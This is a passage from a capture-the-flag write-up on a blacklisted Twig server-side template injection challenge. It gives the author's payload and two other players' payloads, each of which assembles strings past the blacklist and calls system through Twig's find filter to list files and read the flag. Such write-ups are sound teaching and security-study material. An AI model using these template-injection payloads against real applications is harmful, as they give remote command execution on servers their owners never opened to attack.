When reviewing the documentation for these functions, we see that all are arrow functions. With the known functions in the documentation blocked, we can turn to the source code for potential alternatives:

We find a public function called find, which is also an arrow function, meaning we can use it.

To bypass [], we can use mappings, which are like {key: value}.

My teammate created a script to automatically find all the necessary characters and build the final payload. Thanks to him!

My final payload looks like:

{% set a = dump()|slice(0,1)|lower %}
{% set b = dump()|slice(304,1)|lower %}
{% set c = dump()|slice(330,1)|lower %}
{% set d = dump()|slice(356,1)|lower %}
{% set e = dump()|slice(18,1)|lower %}
{% set f = dump()|slice(263,1)|lower %}
{% set g = dump()|slice(62,1)|lower %}
{% set h = dump()|slice(224,1)|lower %}
{% set i = dump()|slice(60,1)|lower %}
{% set j = dump()|slice(512,1)|lower %}
{% set k = dump()|slice(538,1)|lower %}
{% set l = dump()|slice(71,1)|lower %}
{% set m = dump()|slice(46,1)|lower %}
{% set n = dump()|slice(44,1)|lower %}
{% set o = dump()|slice(261,1)|lower %}
{% set p = dump()|slice(159,1)|lower %}
{% set q = dump()|slice(694,1)|lower %}
{% set r = dump()|slice(1,1)|lower %}
{% set s = dump()|slice(17,1)|lower %}
{% set t = dump()|slice(58,1)|lower %}
{% set u = dump()|slice(16,1)|lower %}
{% set v = dump()|slice(824,1)|lower %}
{% set w = dump()|slice(850,1)|lower %}
{% set x = dump()|slice(876,1)|lower %}
{% set y = dump()|slice(4,1)|lower %}
{% set z = dump()|slice(928,1)|lower %}
{% set space = dump()|slice(9,1) %}
{% set endl = dump()|slice(11,1) %}
{% set hyphen = _charset|slice(3,1) %}
{% set slash = endl|join|nl2br|slice(4,1) %}

{{ {s:l~s~space~slash}|find(s~y~s~t~e~m) }}
{% set flag = c~a~t~space~slash~f~l~a~g~hyphen~e~d~b~f~c~b~c~a~e~f %}
{{ {s:flag}|find(s~y~s~t~e~m) }}

First, we create variables for different letters. Then, we also create four more variables for space, hyphen, newline, and slash.

Next, we use mappings and the find function to call any command we want. We first check the filename and then use cat to read the flag.

Other ways

In hindsight, my method feels a bit overkill. There were some interesting and more efficient payloads by other players. Their solutions were smaller, and some didn’t use dump at all.

Jorian's payload:

{%block U%}cat %cflag*0%cystem{%endblock%}
{%set x=block(_charset|first)|split(0)%}
{{{0: x|first|format(47)}|find(x|last|format(115))}}

Jorian used the block feature, placing the desired string inside the blocks. After that, he calls block(_charset | first), which returns U, allowing him to call the block he created earlier. He then splits the string into an array and assigns it to x. Using mapping and format, he bypasses the blacklist to call the command he wants. It's a really clever trick that avoids using dump.

Fredd's payload:

{% set pct =1e+100 | json_encode | url_encode | slice(4,1) %}
{% set c = items | slice(2,1) | first | lower | first %}
{% set f =  pct ~ c %}
{% set cmd = (f~f~f~f~f~f~f~f~f~f) | format(99, 97, 116, 32, 47, 102, 108, 97, 103, 42) %}
{% set cmd_arr = {cmd} %}
{%set sstem_arr = {sy,s,t,e,m} %}
{%set sstem = sstem_arr|keys|join() %}
{{ cmd_arr|find(sstem) }}

Fredd first saves % to a variable using json_encode and url_encode. Then, he grabs c without using dump, simply slicing the items and finding the correct offset. After that, he combines both to make %c. Using format, he builds the string. Essentially, it works like this:

{% set cmd = (%c%c%c%c%c%c%c%c%c%c) | format(99, 97, 116, 32, 47, 102, 108, 97, 103, 42) %}

This creates the command cat /flag*. Then, he creates an array with key values. By using keys and join, he combines them into a string, and finally, he calls find to execute the command.